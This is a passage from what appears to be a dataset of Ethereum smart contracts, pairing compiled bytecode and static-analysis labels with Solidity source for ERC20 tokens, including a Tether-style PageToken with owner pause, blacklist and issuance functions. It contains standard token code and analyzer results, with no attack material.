01015487600201805460018160011615610100020316600290049050886002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611ef05780601f10611ec557610100808354040283529160200191611ef0565b820191906000526020600020905b815481529060010190602001808311611ed357829003601f168201915b50505050506120d7565b15611f3157857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611f7c565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b505050505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611fae57600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061206d92919061212a565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000806040516020840160008287838a8c6187965a03f19250505080915050949350505050565b8154818355818111156121255781836000526020600020918201910161212491906121aa565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061216b57805160ff1916838001178555612199565b82800160010185558215612199579182015b8281111561219857825182559160200191906001019061217d565b5b5090506121a691906121aa565b5090565b6121cc91905b808211156121c85760008160009055506001016121b0565b5090565b905600a165627a7a72305820fea22ea2eb73535948c3cb07bb3aa8d15176816611cfcc096cd38c7c79f3fa1e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
6,877
0xabf348977f3ddaa09838a93691e63185a72c3683
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } /** * @title Startup Token * @dev ERC20 Startup Token (STT) * * STT Tokens are divisible by 8 * * * STT are displayed using 8 decimal places of precision. * * * * * * * */ contract StartupToken is StandardToken, Pausable { string public constant name = 'Startup Token'; // Set the token name for display string public constant symbol = 'STT'; // Set the token symbol for display uint8 public constant decimals = 8; // Set the number of decimals for display uint256 public constant INITIAL_SUPPLY = 100000000000000000; // /** * @dev Startup Token Constructor * Runs only on initial contract creation. */ function StartupToken() { totalSupply = INITIAL_SUPPLY; // Set the total supply balances[msg.sender] = INITIAL_SUPPLY; // Creator address is assigned all } /** * @dev Transfer token for a specified address when not paused * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) whenNotPaused returns (bool) { require(_to != address(0)); return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another when not paused * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) whenNotPaused returns (bool) { require(_to != address(0)); return super.transferFrom(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender when not paused. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) whenNotPaused returns (bool) { return super.approve(_spender, _value); } }
0x606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017b565b604051808215151515815260200191505060405180910390f35b60005481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006101cf82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461031690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061026482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461032f90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082821115151561032457fe5b818303905092915050565b600080828401905083811015151561034357fe5b80915050929150505600a165627a7a7230582065af299f7bba9a43ca5d06371a4d9cfa197d2c1c3bee1f3da8ba3881326014110029
{"success": true, "error": null, "results": {}}
6,878
0x2b78087e3f3352937e9fcb5473296b58975fbba4
/** *Submitted for verification at Etherscan.io on 2021-06-11 */ /** *Submitted for verification at Etherscan.io on 2017-11-28 */ pragma solidity ^0.4.17; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public _totalSupply; function totalSupply() public constant returns (uint); function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is Ownable, ERC20Basic { using SafeMath for uint; mapping(address => uint) public balances; // additional variables for use if transaction fees ever became necessary uint public basisPointsRate = 0; uint public maximumFee = 0; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(!(msg.data.length < size + 4)); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) { uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } uint sendAmount = _value.sub(fee); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); Transfer(msg.sender, owner, fee); } Transfer(msg.sender, _to, sendAmount); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) public allowed; uint public constant MAX_UINT = 2**256 - 1; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } if (_allowance < MAX_UINT) { allowed[_from][msg.sender] = _allowance.sub(_value); } uint sendAmount = _value.sub(fee); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); Transfer(_from, owner, fee); } Transfer(_from, _to, sendAmount); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract BlackList is Ownable, BasicToken { /////// Getters to allow the same blacklist to be used also by other contracts (including upgraded PageToken) /////// function getBlackListStatus(address _maker) external constant returns (bool) { return isBlackListed[_maker]; } function getOwner() external constant returns (address) { return owner; } mapping (address => bool) public isBlackListed; function addBlackList (address _evilUser) public onlyOwner { isBlackListed[_evilUser] = true; AddedBlackList(_evilUser); } function removeBlackList (address _clearedUser) public onlyOwner { isBlackListed[_clearedUser] = false; RemovedBlackList(_clearedUser); } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(isBlackListed[_blackListedUser]); uint dirtyFunds = balanceOf(_blackListedUser); balances[_blackListedUser] = 0; _totalSupply -= dirtyFunds; DestroyedBlackFunds(_blackListedUser, dirtyFunds); } event DestroyedBlackFunds(address _blackListedUser, uint _balance); event AddedBlackList(address _user); event RemovedBlackList(address _user); } contract UpgradedStandardToken is StandardToken{ // those methods are called by the legacy contract // and they must ensure msg.sender to be the contract address function transferByLegacy(address from, address to, uint value) public; function transferFromByLegacy(address sender, address from, address spender, uint value) public; function approveByLegacy(address from, address spender, uint value) public; } contract PageToken is Pausable, StandardToken, BlackList { string public name; string public symbol; uint public decimals; address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the contract // @param _name Token Name // @param _symbol Token symbol // @param _decimals Token decimals function PageToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public { _totalSupply = _initialSupply; name = _name; symbol = _symbol; decimals = _decimals; balances[owner] = _initialSupply; deprecated = false; } // Forward ERC20 methods to upgraded contract if this one is deprecated function transfer(address _to, uint _value) public whenNotPaused { require(!isBlackListed[msg.sender]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value); } else { return super.transfer(_to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function transferFrom(address _from, address _to, uint _value) public whenNotPaused { require(!isBlackListed[_from]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value); } else { return super.transferFrom(_from, _to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function balanceOf(address who) public constant returns (uint) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).balanceOf(who); } else { return super.balanceOf(who); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public constant returns (uint remaining) { if (deprecated) { return StandardToken(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); } } // deprecate current contract in favour of a new one function deprecate(address _upgradedAddress) public onlyOwner { deprecated = true; upgradedAddress = _upgradedAddress; Deprecate(_upgradedAddress); } // deprecate current contract if favour of a new one function totalSupply() public constant returns (uint) { if (deprecated) { return StandardToken(upgradedAddress).totalSupply(); } else { return _totalSupply; } } // Issue a new amount of tokens // these tokens are deposited into the owner address // // @param _amount Number of tokens to be issued function issue(uint amount) public onlyOwner { require(_totalSupply + amount > _totalSupply); require(balances[owner] + amount > balances[owner]); balances[owner] += amount; _totalSupply += amount; Issue(amount); } // Redeem tokens. // These tokens are withdrawn from the owner address // if the balance must be enough to cover the redeem // or the call will fail. // @param _amount Number of tokens to be issued function redeem(uint amount) public onlyOwner { require(_totalSupply >= amount); require(balances[owner] >= amount); _totalSupply -= amount; balances[owner] -= amount; Redeem(amount); } function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner { // Ensure transparency by hardcoding limit beyond which fees can never be added require(newBasisPoints < 20); require(newMaxFee < 50); basisPointsRate = newBasisPoints; maximumFee = newMaxFee.mul(10**decimals); Params(basisPointsRate, maximumFee); } // Called when new token are issued event Issue(uint amount); // Called when tokens are redeemed event Redeem(uint amount); // Called when contract is deprecated event Deprecate(address newAddress); // Called if contract ever adds fees event Params(uint feeBasisPoints, uint maxFee); }
0x60606040523615610194576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101995780630753c30c14610227578063095ea7b3146102605780630e136b19146102a25780630ecb93c0146102cf57806318160ddd1461030857806323b872dd1461033157806326976e3f1461039257806327e235e3146103e7578063313ce56714610434578063353907141461045d5780633eaaf86b146104865780633f4ba83a146104af57806359bf1abe146104c45780635c658165146105155780635c975abb1461058157806370a08231146105ae5780638456cb59146105fb578063893d20e8146106105780638da5cb5b1461066557806395d89b41146106ba578063a9059cbb14610748578063c0324c771461078a578063cc872b66146107b6578063db006a75146107d9578063dd62ed3e146107fc578063dd644f7214610868578063e47d606014610891578063e4997dc5146108e2578063e5b5019a1461091b578063f2fde38b14610944578063f3bdc2281461097d575b600080fd5b34156101a457600080fd5b6101ac6109b6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ec5780820151818401526020810190506101d1565b50505050905090810190601f1680156102195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561023257600080fd5b61025e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a54565b005b341561026b57600080fd5b6102a0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b71565b005b34156102ad57600080fd5b6102b5610cbf565b604051808215151515815260200191505060405180910390f35b34156102da57600080fd5b610306600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cd2565b005b341561031357600080fd5b61031b610deb565b6040518082815260200191505060405180910390f35b341561033c57600080fd5b610390600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ebb565b005b341561039d57600080fd5b6103a561109b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103f257600080fd5b61041e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110c1565b6040518082815260200191505060405180910390f35b341561043f57600080fd5b6104476110d9565b6040518082815260200191505060405180910390f35b341561046857600080fd5b6104706110df565b6040518082815260200191505060405180910390f35b341561049157600080fd5b6104996110e5565b6040518082815260200191505060405180910390f35b34156104ba57600080fd5b6104c26110eb565b005b34156104cf57600080fd5b6104fb600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111a9565b604051808215151515815260200191505060405180910390f35b341561052057600080fd5b61056b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111ff565b6040518082815260200191505060405180910390f35b341561058c57600080fd5b610594611224565b604051808215151515815260200191505060405180910390f35b34156105b957600080fd5b6105e5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611237565b6040518082815260200191505060405180910390f35b341561060657600080fd5b61060e611346565b005b341561061b57600080fd5b610623611406565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561067057600080fd5b61067861142f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106c557600080fd5b6106cd611454565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561070d5780820151818401526020810190506106f2565b50505050905090810190601f16801561073a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561075357600080fd5b610788600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114f2565b005b341561079557600080fd5b6107b4600480803590602001909190803590602001909190505061169c565b005b34156107c157600080fd5b6107d76004808035906020019091905050611781565b005b34156107e457600080fd5b6107fa6004808035906020019091905050611978565b005b341561080757600080fd5b610852600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b0b565b6040518082815260200191505060405180910390f35b341561087357600080fd5b61087b611c50565b6040518082815260200191505060405180910390f35b341561089c57600080fd5b6108c8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c56565b604051808215151515815260200191505060405180910390f35b34156108ed57600080fd5b610919600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c76565b005b341561092657600080fd5b61092e611d8f565b6040518082815260200191505060405180910390f35b341561094f57600080fd5b61097b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611db3565b005b341561098857600080fd5b6109b4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611e88565b005b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a4c5780601f10610a2157610100808354040283529160200191610a4c565b820191906000526020600020905b815481529060010190602001808311610a2f57829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610aaf57600080fd5b6001600a60146101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b604060048101600036905010151515610b8957600080fd5b600a60149054906101000a900460ff1615610caf57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aee92d333385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b1515610c9657600080fd5b6102c65a03f11515610ca757600080fd5b505050610cba565b610cb9838361200c565b5b505050565b600a60149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d2d57600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615610eb257600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610e9057600080fd5b6102c65a03f11515610ea157600080fd5b505050604051805190509050610eb8565b60015490505b90565b600060149054906101000a900460ff16151515610ed757600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f3057600080fd5b600a60149054906101000a900460ff161561108a57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b477adb338585856040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b151561107157600080fd5b6102c65a03f1151561108257600080fd5b505050611096565b6110958383836121a9565b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915090505481565b60095481565b60045481565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561114657600080fd5b600060149054906101000a900460ff16151561116157600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600060149054906101000a900460ff1681565b6000600a60149054906101000a900460ff161561133557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561131357600080fd5b6102c65a03f1151561132457600080fd5b505050604051805190509050611341565b61133e82612650565b90505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113a157600080fd5b600060149054906101000a900460ff161515156113bd57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114ea5780601f106114bf576101008083540402835291602001916114ea565b820191906000526020600020905b8154815290600101906020018083116114cd57829003601f168201915b505050505081565b600060149054906101000a900460ff1615151561150e57600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561156757600080fd5b600a60149054906101000a900460ff161561168d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e18980a3384846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b151561167457600080fd5b6102c65a03f1151561168557600080fd5b505050611698565b6116978282612699565b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116f757600080fd5b60148210151561170657600080fd5b60328110151561171557600080fd5b81600381905550611734600954600a0a82612a0190919063ffffffff16565b6004819055507fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e600354600454604051808381526020018281526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117dc57600080fd5b60015481600154011115156117f057600080fd5b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffff